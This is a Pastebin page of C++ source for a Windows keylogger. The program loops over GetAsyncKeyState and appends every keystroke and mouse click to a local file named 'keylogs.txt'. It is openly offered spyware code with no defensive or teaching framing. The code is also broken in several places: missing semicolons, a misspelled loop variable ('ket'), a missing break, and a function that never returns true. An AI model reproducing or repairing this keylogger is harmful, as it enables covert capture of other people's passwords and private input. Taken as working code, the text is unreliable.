Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <Windows.h>
- #include <iostream>
- #include <fstream>
- #include <stdio.h>
- #include <string>
- using namespace std;
- void WriteToLog(LPCSTR text) {
- ofstream logfile;
- logfile.open("keylogs.txt", fstream::app);
- logfile << text;
- logfile.close();
- }
- bool KeyIsListed(int iKey) {
- switch (iKey)
- {
- case VK_SPACE:
- cout << " ";
- WriteToLog(" ");
- break;
- case VK_RETURN:
- cout << "\n";
- WriteToLog("\n")
- break;
- case VK_SHIFT:
- cout << " *SHIFT* ";
- WriteToLog(" *SHIFT* ")
- break;
- case VK_BACK:
- cout << "\b";
- WriteToLog("\b")
- break;
- case VK_RBUTTON:
- cout << " *RCLICK* ";
- WriteToLog(" *RCLICK* ")
- break;
- case VK_LBUTTON:
- cout << " *LCLICK* ";
- WriteToLog(" *LCLICK* ")
- default: return false;
- }
- }
- int main()
- {
- char key;
- while (TRUE)
- {
- Sleep(10);
- for (ket = 8; key <= 190; key++) {
- if (GetAsyncKeyState(key) == -32767) {
- if (KeyIsListed(key) == FALSE) {
- ofstream logfile;
- logfile.open("keylogs.txt", fstream::app);
- logfile << key;
- logfile.close();
- }
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement